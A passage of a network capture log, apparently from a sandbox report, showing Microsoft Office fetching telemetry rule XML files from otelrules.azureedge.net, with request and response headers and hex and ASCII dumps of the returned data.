2024-11-21 21:34:43 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:44 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:44 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:44 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 5a6b30d1-101e-00a2-7c5b-3b9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213444Z-178bfbc474bscnbchC1NYCe7eg000000027g00000000925f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:44 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:44 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:45 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:44 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: af8656a8-801e-00a0-672a-3c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213444Z-178bfbc474bpscmfhC1NYCfc2c00000000r0000000001uvt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:45 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:45 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:45 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:45 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 2620e4ad-c01e-008d-6675-3b2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213445Z-174c587ffdfcj798hC1TEB9bq400000000hg00000000u1w1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:45 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:45 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:46 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:45 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 4d8c69aa-d01e-0028-1552-3c7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213445Z-15b8b599d88phfhnhC1TEBr51n00000000r0000000003f6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:46 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:45 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:46 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:46 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3cbcbade-201e-0000-6443-3ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213446Z-1777c6cb7549j9hhhC1TEBzmcc0000000bgg00000000v5zt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:46 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:46 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:46 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:46 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 45241df0-c01e-00a1-1a4f-3c7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213446Z-178bfbc474bp8mkvhC1NYCzqnn00000001u000000000vbkr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:46 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:46 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:47 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:47 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c7391ddf-401e-0064-3568-3b54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213447Z-178bfbc474bpnd5vhC1NYC4vr4000000020g00000000kdn7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:47 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:47 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:47 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:47 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213447Z-1777c6cb7549j9hhhC1TEBzmcc0000000bkg00000000hn6w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:47 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:47 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:48 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:48 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: c06a529d-f01e-0085-0e9a-3b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213448Z-15b8b599d886w4hzhC1TEBb4ug00000000ng000000005401 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:48 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:48 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:48 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:48 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 6b735921-c01e-0066-37ca-3ba1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213448Z-174c587ffdfks6tlhC1TEBeza400000000fg00000000b6z4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:48 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:48 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:49 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:48 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 443fb44f-501e-0029-3f61-3bd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213448Z-178bfbc474bv7whqhC1NYC1fg400000001x0000000016544 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:49 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
